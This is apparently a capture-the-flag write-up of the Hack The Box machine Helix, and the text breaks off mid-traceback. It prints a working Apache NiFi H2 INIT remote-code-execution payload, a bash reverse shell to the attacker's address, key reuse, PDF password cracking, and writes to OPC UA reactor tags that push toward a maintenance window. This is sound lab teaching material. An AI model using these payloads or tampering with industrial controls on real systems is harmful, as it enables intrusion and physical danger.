HTB: Helix
Helix builds an industrial control theme around a chemical reactor that operators monitor and adjust through a control server. I’ll get a foothold on an anonymously-accessible Apache NiFi instance running an old, vulnerable version, abusing the H2 database driver’s ability to run a script on connection to register and call arbitrary Java for execution. From there I’ll find an SSH key on the box and pivot to the next user. That user can run a maintenance console as root, but only while a maintenance window is open. I’ll connect to the reactor’s control server and tamper with its calibration offset to push the temperature past a safety threshold, which opens the window and lets the console drop into a root shell. In Beyond Root, I’ll recover the encrypted NiFi database password.
Box Info
Recon
Initial Scanning
nmap finds two open TCP ports, SSH (22) and HTTP (80):
oxdf@hacky$ sudo nmap -p- --reason --min-rate 10000 10.129.38.238
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-07-24 18:06 UTC
Nmap scan report for 10.129.38.238
Host is up, received reset ttl 63 (0.021s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Nmap done: 1 IP address (1 host up) scanned in 9.16 seconds
oxdf@hacky$ sudo nmap -p 22,80 -sCV 10.129.38.238
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-07-24 18:08 UTC
Nmap scan report for 10.129.38.238
Host is up (0.021s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 60:b3:f7:6c:0b:92:ab:00:ac:e7:12:e1:d1:26:9c:1e (ECDSA)
|_ 256 c8:30:e6:cb:c6:cd:fc:0c:39:e5:34:04:20:07:b9:b3 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://helix.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.91 seconds
Based on the OpenSSH and Nginx versions, the host is likely running Ubuntu 22.04 Jammy LTS.
Both of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.
Subdomains - TCP 80
nmap shows a redirect to helix.htb on port 80. It seems that regardless of path, it redirects to http://helix.htb/:
oxdf@hacky$ curl http://10.129.38.238 -I
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 24 Jul 2026 11:36:44 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://helix.htb/
oxdf@hacky$ curl http://10.129.38.238/0xdf -I
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 24 Jul 2026 11:36:48 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://helix.htb/
I’ll use ffuf to bruteforce for subdomains that respond differently, using -ac to auto-calibrate filters against the default responses:
oxdf@hacky$ ffuf -u http://10.129.38.238 -H 'Host: FUZZ.helix.htb' -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.38.238
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.helix.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
flow [Status: 200, Size: 1068, Words: 110, Lines: 28, Duration: 1531ms]
:: Progress: [19966/19966] :: Job [1/1] :: 2040 req/sec :: Duration: [0:00:10] :: Errors: 0 ::
It finds flow.helix.htb responds with an HTTP 200 rather than the 302 above. I’ll add both hosts to my /etc/hosts file:
10.129.38.238 helix.htb flow.helix.htb
I’ll re-scan each host with nmap and scripts by hostname to make sure I didn’t miss anything there, but nothing interesting jumps out.
helix.htb - TCP 80
Site
The site is for an engineering company:
There are a couple forms on the page, but filling them out doesn’t submit requests. All the links lead to other places on the page.
Tech Stack
The HTTP response headers show just Nginx:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 25 Jul 2026 10:20:36 GMT
Content-Type: text/html
Last-Modified: Thu, 16 Apr 2026 08:57:46 GMT
Connection: keep-alive
ETag: W/"69e0a48a-a94d"
Content-Length: 43341
The main page loads as /index.html, suggesting this is a static site.
The 404 page matches the default Nginx 404:
Directory Brute Force
I’ll run feroxbuster against the site, and include -x html since the main page is .html:
oxdf@hacky$ feroxbuster -u http://helix.htb -x html
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://helix.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
💲 Extensions │ [html]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 7l 12w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 1117l 3956w 43341c http://helix.htb/
200 GET 1117l 3956w 43341c http://helix.htb/index.html
[####################] - 27s 30000/30000 0s found:2 errors:0
[####################] - 27s 30000/30000 1116/s http://helix.htb/
Nothing at all.
flow.helix.htb - TCP 80
Site
The root page shows a redirect message:
After the redirect, it’s an instance of Apache NiFi:
Apache NiFi is an open-source data flow automation platform. It lets users build “flows” that move and transform data between systems using a drag-and-drop, web-based canvas. A flow is made up of processors (boxes that each perform one action, like reading a file, running a query, or transforming data) wired together by connections that pass units of data called FlowFiles from one processor to the next. This canvas is reachable without any login, which means anonymous users can view (and potentially modify) the flow.
The canvas here contains a small two-processor flow inside the NiFi Flow process group. On the right is an ExecuteSQL processor, which runs a SQL query against a configured database connection and emits the results as a FlowFile. Its success relationship connects to a LogAttribute processor on the left, which simply writes the FlowFile’s attributes out to NiFi’s logs. Both processors are currently stopped, and all the counters read zero, so no data has moved through the flow. The status bar at the top shows one warning (yellow triangle). Hovering over the yellow triangle shows it’s required to have some outflow that isn’t there:
If I double-click on the ExecuteSQL processor, I can find the configuration, including the database query, which is just SELECT 1:
If I click into the MaintenanceDB connection, there’s configuration information:
It’s an H2 database, in memory named maint. It’s in MySQL compatibility mode. The user is operator, and the password is protected so that I can’t read it.
One rabbit hole I went down here on my original solve was to try to capture the DB credential by pointing the database connection at my host. I’ll show this in Beyond Root.
Tech Stack
This is clearly NiFi, and the version shown in the corner of each processor shows 1.21.0. This is a very old version of NiFi. Digging through the tags page on GitHub, I’ll find this tag from 7 April 2023:
The 404 page is the default Jetty 404:
This makes sense because Apache NiFi is built in Java, and NiFi versions 1.x used Eclipse Jetty as its webserver.
Shell as nifi
Identify CVE-2023-34468
Searching for “nifi 1.21.0 cve” returns a couple references to CVE-2023-34468:
CVE-2023-34468 Background
NIST describes CVE-2023-34468 as:
The DBCPConnectionPool and HikariCPConnectionPool Controller Services in Apache NiFi 0.0.2 through 1.21.0 allow an authenticated and authorized user to configure a Database URL with the H2 driver that enables custom code execution. The resolution validates the Database URL and rejects H2 JDBC locations. You are recommended to upgrade to version 1.22.0 or later which fixes this issue.
SonicWall has a good writeup of the vulnerability. Nifi lets you set the DBCPConnectionPool’s JDBC connection URL with no validation. The H2 driver supports an INIT= clause that runs SQL at connection time. H2 has a CREATE ALIAS feature that allows for compiling and registering arbitrary Java as a callable function. Putting all this together, I can get RCE. The CVE calls for an “authenticated and authorized user”, but this NiFi allows anonymous access with full control over the canvas and controller services as shown above, so I don’t need any credentials.
RCE
POC
To exploit this, I’ll need to make sure any processors using the DB connection are stopped. Then I’ll go to the DB connection:
It’s currently “Enabled”. I’ll click the lightning bolt with a line through it on the far right of that row to open the disable dialog:
I’ll click “Disable” at the bottom right, and it does:
I’ll click the gear back on the “Controller Services” tab to get to the properties for the DBCPConnectionPool:
The connection URL is made up of the following:
jdbc:h2- Selects the H2 JDBC driver for the connection.mem:maint- Use an in memory database named maint.;- Break for settings and options to follow.
I’ll keep the first half the same, but update the settings to include the INIT:
jdbc:h2:mem:maint;INIT=RUNSCRIPT FROM 'http://10.10.15.217/poc.sql'
Once that’s set, I’ll click apply at the bottom right:
I’ll re-enable the connection, and then run the processor. There’s a connection at my webserver trying to get poc.sql:
oxdf@hacky$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.38.238 - - [25/Jul/2026 20:02:01] code 404, message File not found
10.129.38.238 - - [25/Jul/2026 20:02:01] "GET /poc.sql HTTP/1.1" 404 -
10.129.38.238 - - [25/Jul/2026 20:02:02] code 404, message File not found
10.129.38.238 - - [25/Jul/2026 20:02:02] "GET /poc.sql HTTP/1.1" 404 -
10.129.38.238 - - [25/Jul/2026 20:02:03] code 404, message File not found
10.129.38.238 - - [25/Jul/2026 20:02:03] "GET /poc.sql HTTP/1.1" 404 -
10.129.38.238 - - [25/Jul/2026 20:02:04] code 404, message File not found
10.129.38.238 - - [25/Jul/2026 20:02:04] "GET /poc.sql HTTP/1.1" 404 -
It’s returning 404 since I haven’t written that file yet. I’ll stop the processor so it stops requesting.
RCE POC
To get RCE from this, I’ll need a poc.sql file that creates an alias. This blog has some examples. I’ll make a few upgrades to the payload in that post to get this:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] c = {"bash", "-c", cmd};
java.io.InputStream in = Runtime.getRuntime().exec(c).getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
} $$;
CALL SHELLEXEC('ping -c 1 10.10.15.217');
I’m passing the command in as an arg to bash -c so that when I try to do more complex things like get a reverse shell, characters like > and & won’t break it. For this initial payload, I’m just pinging my host.
I had to disable the connection and re-enable it (though I’m sure there are payloads that wouldn’t require that), and then run the processor to get it to request again, but it does (twice):
10.129.38.238 - - [25/Jul/2026 20:10:30] "GET /poc.sql HTTP/1.1" 200 -
10.129.38.238 - - [25/Jul/2026 20:10:30] "GET /poc.sql HTTP/1.1" 200 -
And then I get pinged (twice):
oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
20:10:30.246234 IP 10.129.38.238 > 10.10.15.217: ICMP echo request, id 3, seq 1, length 64
20:10:30.246262 IP 10.10.15.217 > 10.129.38.238: ICMP echo reply, id 3, seq 1, length 64
20:10:30.424624 IP 10.129.38.238 > 10.10.15.217: ICMP echo request, id 4, seq 1, length 64
20:10:30.424659 IP 10.10.15.217 > 10.129.38.238: ICMP echo reply, id 4, seq 1, length 64
That’s RCE!
Shell
I’ll upgrade the poc.sql file to call a bash reverse shell:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] c = {"bash", "-c", cmd};
java.io.InputStream in = Runtime.getRuntime().exec(c).getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
} $$;
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.15.217/443 0>&1');
I don’t need the bash -c in the front because that’s appended when c is created.
I’ll stop the processor, disable the DB connection, enable the DB connection and start the processor. There’s a connection at the webserver, and then I get a shell:
oxdf@hacky$ sudo nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.38.238 42932
bash: cannot set terminal process group (973): Inappropriate ioctl for device
bash: no job control in this shell
nifi@helix:/opt/nifi-1.21.0$
I’ll upgrade my shell using the standard trick:
nifi@helix:/opt/nifi-1.21.0$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
nifi@helix:/opt/nifi-1.21.0$ ^Z
[1]+ Stopped sudo nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
sudo nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
nifi@helix:/opt/nifi-1.21.0$
Alternative RCE
It turns out that the CVE is not needed at all to get a shell through NiFi. I’ll use the Processor button at the top:
When I drag this onto the canvas, it opens a dialog to select a processor:
Scrolling down, there are a few that start with “Execute”:
I’ll pick “ExecuteProcess” and click “Add”. It appears on the canvas:
I’ll double-click to configure. By default, all the properties are empty:
I’ll add a reverse shell:
It’s important to set the “Argument Delimiter” to something that’s not space, or it will not work.
In order to run, I’ll have to connect the output to something. I’ll use the existing “LogAttribute”:
When I run this, I get a shell:
oxdf@hacky$ sudo nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.38.238 53048
bash: cannot set terminal process group (975): Inappropriate ioctl for device
bash: no job control in this shell
nifi@helix:/opt/nifi-1.21.0$
Shell as operator
Enumeration
Users
The nifi user doesn’t have a valid home directory configured:
nifi@helix:/opt/nifi-1.21.0$ cd ~
bash: cd: /opt/nifi: No such file or directory
In /home, there’s one directory:
nifi@helix:/home$ ls
operator
Only operator and root have shells configured in passwd:
nifi@helix:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
operator:x:1001:1001::/home/operator:/bin/bash
Filesystem
/opt has folders for helix and nifi:
nifi@helix:/$ ls opt/
helix nifi-1.21.0
nifi can’t access helix. It’s owned by root and the helixsvc group.
nifi-1.21.0 is the nifi directory:
nifi@helix:/opt/nifi-1.21.0$ ls
bin flowfile_repository provenance_repository
conf lib README
content_repository LICENSE run
database_repository logs state
docs nifi-1.21.0 support-bundles
extensions NOTICE work
One thing I want to look for is the DB credential that I couldn’t access from NiFi. I’ll look at that in Beyond Root.
There’s also an SSH key in support-bundles:
nifi@helix:/opt/nifi-1.21.0$ ls support-bundles/
operator_id_ed25519.bak
nifi@helix:/opt/nifi-1.21.0$ cat support-bundles/operator_id_ed25519.bak
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
...[snip]...
tKtsROxZUMfwHjVUc1s7AAAAD3Jvb3RAbWFuYWdlbWVudAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
SSH
I’ll save that key to my host and use it to connect as operator:
oxdf@hacky$ ssh -i ~/keys/helix-operator operator@helix.htb
Warning: Permanently added 'helix.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-164-generic x86_64)
...[snip]...
operator@helix:~$
I’ll grab user.txt:
operator@helix:~$ cat user.txt
e9f75bab************************
I thought I would be able to get the operator name from the key itself, but interestingly, it has the comment “root@management”:
oxdf@hacky$ ssh-keygen -yf ~/keys/helix-operator
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOi4R6+1dAvmm4wQ9DMwYSj8tKtsROxZUMfwHjVUc1s7 root@management
Shell as root
Enumeration
sudo
operator can run helix-maint-console as root without a password using sudo:
operator@helix:~$ sudo -l
Matching Defaults entries for operator on helix:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User operator may run the following commands on helix:
(root) NOPASSWD: /usr/local/sbin/helix-maint-console
If I run it (as root or operator), it says the maintenance window is closed:
operator@helix:~$ sudo helix-maint-console
Maintenance window CLOSED.
operator@helix:~$ helix-maint-console
Maintenance window CLOSED.
There are two helix-* files in /usr/local/sbin:
operator@helix:~$ ls -l /usr/local/sbin/helix-*
-rwxr-x--- 1 root root 107 Jan 25 19:12 /usr/local/sbin/helix-cleanup.sh
-rwxr-x--- 1 root operator 932 Jan 25 19:12 /usr/local/sbin/helix-maint-console
I can’t read the cleanup script, but I can read helix-maint-console:
#!/bin/bash
set -euo pipefail
FLAG="/opt/helix/state/maintenance_window"
read_until() { cat "$FLAG" 2>/dev/null || true; }
window_ok() {
[ -f "$FLAG" ] || return 1
local until_ts now
until_ts="$(read_until)"
now="$(date +%s)"
[[ "$until_ts" =~ ^[0-9]+$ ]] || return 1
[ "$now" -lt "$until_ts" ] || return 1
return 0
}
if ! window_ok; then
echo "Maintenance window CLOSED."
exit 1
fi
until_ts="$(read_until)"
now="$(date +%s)"
remaining=$((until_ts-now))
echo "[+] Privileged maintenance access granted"
echo "[!] Window expires in ${remaining} seconds"
echo "[!] Session will be terminated automatically"
# Unique scope name
SCOPE="helix-maint-$$"
# Launch an interactive root shell attached to THIS TTY, in its own systemd scope
systemd-run --quiet --scope --unit="$SCOPE" --property=KillMode=control-group --property=SendSIGHUP=yes \
/bin/bash -p -i
# If systemd-run returns, the shell exited.
exit 0
The important part is that it reads a date from /opt/helix/state/maintenance_window, and if that’s a time that’s later than now, then it will basically drop into a root shell. It runs that shell inside its own systemd scope (KillMode=control-group, SendSIGHUP) so the session and any child processes can be cleanly killed when the window expires.
operator can’t write that file directly, as it lives under the root-owned /opt/helix, so dropping in a future timestamp myself isn’t an option. Something privileged has to open the window, and the operator guide in operator’s home directory shows what does.
Home
The operator user has a couple files in their home directory:
operator@helix:~$ ls -la
total 968
drwxr-x--- 5 operator operator 4096 May 5 10:18 .
drwxr-xr-x 3 root root 4096 May 5 10:18 ..
lrwxrwxrwx 1 root root 9 Apr 20 10:14 .bash_history -> /dev/null
-rw-r--r-- 1 operator operator 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 operator operator 3771 Jan 6 2022 .bashrc
drwx------ 3 operator operator 4096 May 5 10:18 .cache
-rw------- 1 operator operator 920611 Jan 26 16:15 'control systems diagram.png'
drwxrwxr-x 5 operator operator 4096 May 5 10:18 .local
lrwxrwxrwx 1 root root 9 Jan 26 16:11 .mysql_history -> /dev/null
-rw-rw-r-- 1 operator operator 28453 Apr 16 08:50 'Operator Control & Safety Guide.pdf'
-rw-r--r-- 1 operator operator 807 Jan 6 2022 .profile
drwx------ 2 operator operator 4096 May 5 10:18 .ssh
-rw-r----- 1 root operator 33 Jul 25 12:59 user.txt
lrwxrwxrwx 1 root root 9 Jan 26 16:11 .viminfo -> /dev/null
I’ll grab both over scp:
oxdf@hacky$ scp -i ~/keys/helix-operator operator@helix.htb:*.png .
control systems diagram.png 100% 899KB 1.4MB/s 00:00
oxdf@hacky$ scp -i ~/keys/helix-operator operator@helix.htb:*.pdf .
Operator Control & Safety Guide.pdf 100% 28KB 382.5KB/s 00:00
control systems diagram.png shows the architecture of their network:
There’s a reference to port 4840 and /helix.
The PDF is encrypted.
I can bruteforce the password and get access to it. I’ll create a hash with pdf2john.pl:
oxdf@hacky$ /opt/john/run/pdf2john.pl Operator\ Control\ \&\ Safety\ Guide.pdf > pdf.hash
Now I’ll let john crack it with rockyou.txt:
oxdf@hacky$ john pdf.hash --wordlist=rockyou.txt
Warning: detected hash type "PDF", but the string is also recognized as "pdf-opencl"
Use the "--format=pdf-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (PDF, PDF encrypted document [MD5-RC4 / SHA2-AES 32/64])
Cost 1 (revision) is 6 for all loaded hashes
Cost 2 (key length) is 256 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
operator1 (Operator Control & Safety Guide.pdf)
1g 0:00:00:39 DONE (2026-07-25 22:12) 0.02533g/s 6688p/s 6688c/s 6688C/s orpheo..olivia09
Use the "--show --format=PDF" options to display all of the cracked passwords reliably
Session completed.
It finds the password, “operator1”, in about 39 seconds.
The PDF has four pages:
There’s a PLC that controls temperature, pressure, and a “CalibrationOffset” for a reactor. There are also safety variables and control variables:
There’s a safety trip if the temperature is above 305 degrees C, or (and?) the pressure is above 75 bar. There are also instructions for coming out of a safety trip.
More importantly, there are instructions for entering a maintenance mode:
And then it talks about new tools becoming available under certain criteria:
Putting the guide together, a maintenance window isn’t something I can toggle directly. The reactor’s live state, including its mode, safety and control flags, and temperature, is exposed over the OPC UA interface from the diagram, and a privileged background controller acts on it. To bring the maintenance tooling online, the plant has to be in MAINTENANCE mode with the test override set, and the temperature pushed into the maintenance band, above 295 degrees C but below the 305 degrees C safety trip. When those conditions hold, the controller opens a timed maintenance window by writing the future timestamp that helix-maint-console reads.
Network
The image made a reference to opc.tcp://127.0.0.1:4840/helix/, which seems important. I’ll check listening ports:
operator@helix:~$ ss -tnl
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 50 127.0.0.1:41969 0.0.0.0:*
LISTEN 0 100 127.0.0.1:4840 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 50 127.0.0.1:8080 0.0.0.0:*
LISTEN 0 128 127.0.0.1:8081 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
LISTEN 0 50 [::ffff:127.0.0.1]:38101 *:*
There is a service listening on 4840. 8080 and 8081 are also interesting. 8080 is NiFi.
Tunnel
To access some of these services, I’ll create a SSH tunnel. The easiest way to do that is via SSH using -L 8081:127.0.0.1:8081 -L 4840:127.0.0.1:4840.
HTTP - TCP 8081
The site on TCP 8081 is a status page for the reactor:
It shows the mode and the OPC interface, as well as if there is a maintenance window.
The page also reloads every 1.5 seconds due to this script at the bottom of the page:
<script>setTimeout(()=>location.reload(), 1500);</script>
I’ll run feroxbuster but not find anything.
OPC UA Background
OPC UA (Open Platform Communications Unified Architecture) is a machine-to-machine communication protocol used heavily in industrial control systems (ICS), SCADA, and PLC environments. It’s the modern successor to the older, Windows-only “classic OPC”, redesigned to be platform-independent and service-oriented. In a plant, it’s the layer that moves data between sensors, PLCs, controllers, and the SCADA/HMI software that operators watch.
The opc.tcp:// scheme in the URL is the protocol’s native binary transport, which runs over TCP (default port 4840). The /helix/ path portion in the documentation identifies the specific endpoint on the server.
An OPC UA server presents its data as a hierarchical graph of nodes, called its address space. Each node has a NodeId (typically written like ns=2;s=Reactor.Temperature, where ns is the namespace index and s is a string identifier). A namespace is a naming scope within that address space. The ns= index maps to a URI in the server’s namespace table, which keeps identifiers from different sources from colliding. Namespace 0 is reserved for OPC UA’s own standard-defined nodes, while higher indices like ns=2 hold the server’s application-specific nodes, where the reactor’s tags live. The node types that matter here are:
- Objects: organizational containers that group related nodes (e.g. a “Reactor” object).
- Variables: nodes that hold a value, known in ICS terms as tags. These are the temperature, pressure,
CalibrationOffset, and safety/control values from the PDF. They can be read and, if writable, written. - Methods: callable functions exposed by the server, similar to remote procedure calls (RPCs).
Using opcua (Command Line)
Connecting
There’s a Python OPC-UA package. I can run it directly without Python code using uv. The first step is to connect to the endpoint, which I’ll do with the uadiscover command:
oxdf@hacky$ uv run --with opcua --with cryptography uadiscover -u opc.tcp://127.0.0.1:4840/helix/
Installed 8 packages in 22ms
Performing discovery at opc.tcp://127.0.0.1:4840/helix/
Server 1:
Application URI: urn:freeopcua:python:server
Product URI: urn:freeopcua.github.io:python:server
Application Name: FreeOpcUa Python Server
Application Type: 2
Discovery URL: opc.tcp://127.0.0.1:4840/helix/
Endpoint 1:
Endpoint URL: opc.tcp://127.0.0.1:4840/helix/
Application URI: urn:freeopcua:python:server
Product URI: urn:freeopcua.github.io:python:server
Application Name: FreeOpcUa Python Server
Application Type: 2
Discovery URL: opc.tcp://127.0.0.1:4840/helix/
Server Certificate: [no certificate]
Security Mode: 1
Security Policy URI: http://opcfoundation.org/UA/SecurityPolicy#None
User policy: anonymous
Token type: 0
Security Policy URI: http://opcfoundation.org/UA/SecurityPolicy#None
User policy: certificate
Token type: 2
Security Policy URI: http://opcfoundation.org/UA/SecurityPolicy#Basic256Sha256
User policy: username
Token type: 1
Security Policy URI: http://opcfoundation.org/UA/SecurityPolicy#None
Transport Profile URI: http://opcfoundation.org/UA-Profile/Transport/uatcp-uasc-uabinary
Security Level: 0
Notes from the output:
- The server is FreeOpcUa’s Python server, which is the same library as the client I’m using.
- The security mode is 1, which means none, no auth.
Enumerate Nodes
I’ll browse the address space to enumerate nodes with the uals command, setting a depth of 3:
oxdf@hacky$ uv run --with opcua --with cryptography uals -u opc.tcp://127.0.0.1:4840/helix/ -d 3
Browsing node i=84 at opc.tcp://127.0.0.1:4840/helix/
DisplayName NodeId BrowseName Value
Objects i=85 0:Objects
Locations i=31915 0:Locations
Server i=2253 0:Server
ServerArray i=2254 0:ServerArray , ['urn:freeopcua:python:server']
NamespaceArray i=2255 0:NamespaceArray , ['http://opcfoundation.org/UA/', 'urn:freeopcua:python:server', 'urn:helix:ot']
UrisVersion i=15004 0:UrisVersion , None
ServerStatus i=2256 0:ServerStatus , ServerStatusDataType(StartTime:{self.StartTime}, CurrentTime:{self.CurrentTime}, State:{self.State}, BuildInfo:{self.BuildInfo}, SecondsTillShutdown:{self.SecondsTillShutdown}, ShutdownReason:{self.ShutdownReason})
ServiceLevel i=2267 0:ServiceLevel , 255
Auditing i=2994 0:Auditing , None
EstimatedReturnTime i=12885 0:EstimatedReturnTime , None
LocalTime i=17634 0:LocalTime , None
ServerCapabilities i=2268 0:ServerCapabilities
ServerDiagnostics i=2274 0:ServerDiagnostics
VendorServerInfo i=2295 0:VendorServerInfo
ServerRedundancy i=2296 0:ServerRedundancy
Namespaces i=11715 0:Namespaces
GetMonitoredItems i=11492 0:GetMonitoredItems
ResendData i=12873 0:ResendData
SetSubscriptionDurable i=12749 0:SetSubscriptionDurable
RequestServerStateChange i=12886 0:RequestServerStateChange
Dictionaries i=17594 0:Dictionaries
Quantities i=32530 0:Quantities
DefaultHAConfiguration i=32637 0:DefaultHAConfiguration
DefaultHEConfiguration i=32754 0:DefaultHEConfiguration
ServerConfiguration i=12637 0:ServerConfiguration
PublishSubscribe i=14443 0:PublishSubscribe
Resources i=24226 0:Resources
Aliases i=23470 0:Aliases
FindAlias i=23476 0:FindAlias
LastChange i=32852 0:LastChange , None
TagVariables i=23479 0:TagVariables
Topics i=23488 0:Topics
Plant ns=2;i=1 2:Plant
Reactor ns=2;i=2 2:Reactor
Safety ns=2;i=7 2:Safety
Control ns=2;i=11 2:Control
Types i=86 0:Types
ObjectTypes i=88 0:ObjectTypes
BaseObjectType i=58 0:BaseObjectType
VariableTypes i=89 0:VariableTypes
BaseVariableType i=62 0:BaseVariableType
DataTypes i=90 0:DataTypes
XML Schema i=92 0:XML Schema
OPC Binary i=93 0:OPC Binary
BaseDataType i=24 0:BaseDataType
ReferenceTypes i=91 0:ReferenceTypes
References i=31 0:References
EventTypes i=3048 0:EventTypes
BaseEventType i=2041 0:BaseEventType
InterfaceTypes i=17708 0:InterfaceTypes
BaseInterfaceType i=17602 0:BaseInterfaceType
Views i=87 0:Views
The interesting part is:
Plant ns=2;i=1 2:Plant
Reactor ns=2;i=2 2:Reactor
Safety ns=2;i=7 2:Safety
Control ns=2;i=11 2:Control
I could have dumped everything by setting my initial depth (-d) to something more than 3, but the output was very large. I can dump everything below this point:
oxdf@hacky$ uv run --with opcua --with cryptography uals -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=1" -d 5
Browsing node ns=2;i=1 at opc.tcp://127.0.0.1:4840/helix/
DisplayName NodeId BrowseName Value
Reactor ns=2;i=2 2:Reactor
TemperatureRaw ns=2;i=3 2:TemperatureRaw , 283.44716241215656
Temperature ns=2;i=4 2:Temperature , 283.44716241215656
Pressure ns=2;i=5 2:Pressure , 68.95682384275744
CalibrationOffset ns=2;i=6 2:CalibrationOffset , 0.0
Safety ns=2;i=7 2:Safety
RodsInserted ns=2;i=8 2:RodsInserted , False
EmergencyCooling ns=2;i=9 2:EmergencyCooling , False
TripActive ns=2;i=10 2:TripActive , False
Control ns=2;i=11 2:Control
Mode ns=2;i=12 2:Mode , NORMAL
TestOverride ns=2;i=13 2:TestOverride , False
ResetTrip ns=2;i=14 2:ResetTrip , False
It shows the current TemperatureRaw, Temperature, Pressure, and CalibrationOffset, as well as other variables.
Read / Write Tags
I can read the tags directly, using the node ids above. For example, the Temperature is ns=2;i=4:
oxdf@hacky$ uv run --with opcua --with cryptography uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=4"
283.98394810433166
The first step is to put the mode into MAINTENANCE, which I can do with uawrite:
oxdf@hacky$ uv run --with opcua --with cryptography uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=12" -t string MAINTENANCE
oxdf@hacky$ uv run --with opcua --with cryptography uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=12"
MAINTENANCE
The uaread shows it worked.
Next I’ll set TestOverride to true:
oxdf@hacky$ uv run --with opcua --with cryptography uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=13" -t bool True
oxdf@hacky$ uv run --with opcua --with cryptography uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=13"
True
I’ll try to set the temperature, but it fails:
oxdf@hacky$ uv run --with opcua --with cryptography uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=4" -t double 298
Traceback (most recent call last):
File "/home/oxdf/.cache/uv/builds-v0/.tmpg91cbE/bin/uawrite", line 10, in <module>
sys.exit(uawrite())
~~~~~~~^^
